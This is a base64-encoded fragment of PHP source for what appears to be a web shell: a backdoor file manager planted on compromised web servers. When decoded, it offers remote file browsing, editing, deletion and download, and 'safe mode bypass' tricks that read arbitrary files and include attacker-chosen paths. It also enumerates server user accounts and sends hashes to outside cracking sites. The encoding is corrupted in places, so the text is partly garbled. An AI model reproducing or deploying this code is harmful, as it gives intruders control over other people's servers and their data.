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xpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiICcgLiAoZW1wdHkgKCRmWydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZlsnbGluayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQ0KCQkJLic8L3RkPjx0ZD48YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJSZW5hbWUiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IlRvdWNoIiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eX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bSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZCYWx1ZSxudWxsLHRoaXMudGV4dCYWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+DQoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnPjwvdGQ+PC90cj4NCgkJCTwvdGFibGU+PC9mb3JtPiI7DQoJZnVuY3Rpb24gaGFyZFJlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsNCgkJaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQ0KCQkJJHBhdGguPScvJzsNCgkJJHBhdGhzID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCWlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7DQoJCQlmb3JlYWNoKCRwYXRocyBhcyAk4pafKSB7DQoJCQkJaWYoQGlzX2Rpcigk4pafKSl7DQoJCQkJCWlmKCRwYXRoIT0k4pafKQ0KCQkJCQkJaGFyZFJlY3Vyc2l2ZUdsb2IoJOKWnyk7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